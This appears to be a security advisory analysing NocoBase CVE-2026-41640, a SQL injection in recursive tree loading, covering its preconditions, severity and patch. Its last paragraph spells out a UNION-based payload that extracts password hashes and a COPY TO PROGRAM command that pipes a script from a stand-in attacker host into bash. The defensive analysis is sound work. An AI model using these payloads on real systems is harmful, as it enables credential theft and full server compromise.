NocoBase CVE-2026-41640

Exploitation requires four specific conditions: (1) The NocoBase instance must have at least one collection configured with tree structure using the adjacency list pattern (tree:'adjacencyList' in collection definition). (2) That tree collection must use string-type primary keys rather than auto-increment integers (primaryKey:true combined with type:'string' in field definition) - this is NOT the default configuration but is common in scenarios requiring human-readable IDs or hierarchical naming schemes. (3) The attacker must possess valid authentication credentials with record-creation permission (POST to /api/{collection}:create endpoint) on the vulnerable tree collection - any standard user role with write access suffices, not limited to administrators. (4) A request must trigger recursive eager loading on the collection (via appends[]=parent(recursively=true) query parameter or programmatic association loading) - this occurs naturally in tree navigation UIs, organizational charts, category browsers, and administrative interfaces. The CVSS AC:H (high complexity) rating reflects condition #2 (non-default PK type), but once that configuration exists, exploitation is trivial. Database platform matters for impact severity: PostgreSQL enables error-based exfiltration and potential RCE via COPY...TO PROGRAM; MySQL and SQLite allow blind extraction via timing attacks but lack the PROGRAM execution vector. Default NocoBase installations using integer PKs are NOT vulnerable via this code path.

This represents a critical real-world risk despite the 7.5 CVSS score. The CVSS vector (AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H) indicates network-exploitable with high complexity and low privilege requirements - the AC:H (high complexity) likely reflects the precondition that string-type primary keys must be configured, which is not default but common in hierarchical/tree data models. The PR:L (low privilege) rating is accurate: any authenticated user with record-creation permission can exploit this, not just administrators. Real-world risk factors elevate this beyond the base score: (1) The PoC demonstrates trivial exploitation with confirmed credential extraction from production-like environments (PostgreSQL 16.13 + NocoBase 2.0.32). (2) The error-based extraction technique bypasses typical WAF protections since responses appear as legitimate database errors. (3) The blast radius extends beyond the primary vulnerability - the description notes identical concatenation patterns in plugin-field-sort, indicating systemic unsafe coding practices. (4) For PostgreSQL deployments with superuser database accounts (common in containerized/development environments), this escalates to remote code execution via COPY...TO PROGRAM. (5) Patch available from vendor (GitHub PR #9133, commit 202e2b8e) provides both detection and remediation paths, but requires upgrading the core database package. No EPSS score or KEV status provided, but the detailed PoC with working exploit code significantly lowers the bar for weaponization. Organizations using NocoBase with tree collections and string PKs should treat this as emergency-priority.

An authenticated attacker with basic member privileges creates a tree collection record (e.g., organizational hierarchy, category tree, or file system structure) with a malicious primary key value: root') UNION ALL SELECT CAST((SELECT password FROM users LIMIT 1) AS integer)::text, NULL WHERE ('1'='1. When any user or automated process triggers a list/get request with recursive parent loading (appends[]=parent(recursively=true)), NocoBase's eager-loading mechanism constructs a recursive CTE query incorporating the malicious ID. The injected UNION ALL clause executes the attacker's subquery, and the CAST-to-integer type mismatch forces PostgreSQL to return the extracted password hash in the error message visible to the attacker. The attacker iterates this technique to dump the entire users table (emails, password hashes, API tokens), then uses offline cracking or lateral movement to compromise administrator accounts. In PostgreSQL environments where the NocoBase database user has superuser or COPY privileges, the attacker escalates to OS command execution via COPY (SELECT '') TO PROGRAM 'bash -c "curl attacker.com/shell.sh|bash"', achieving full server compromise.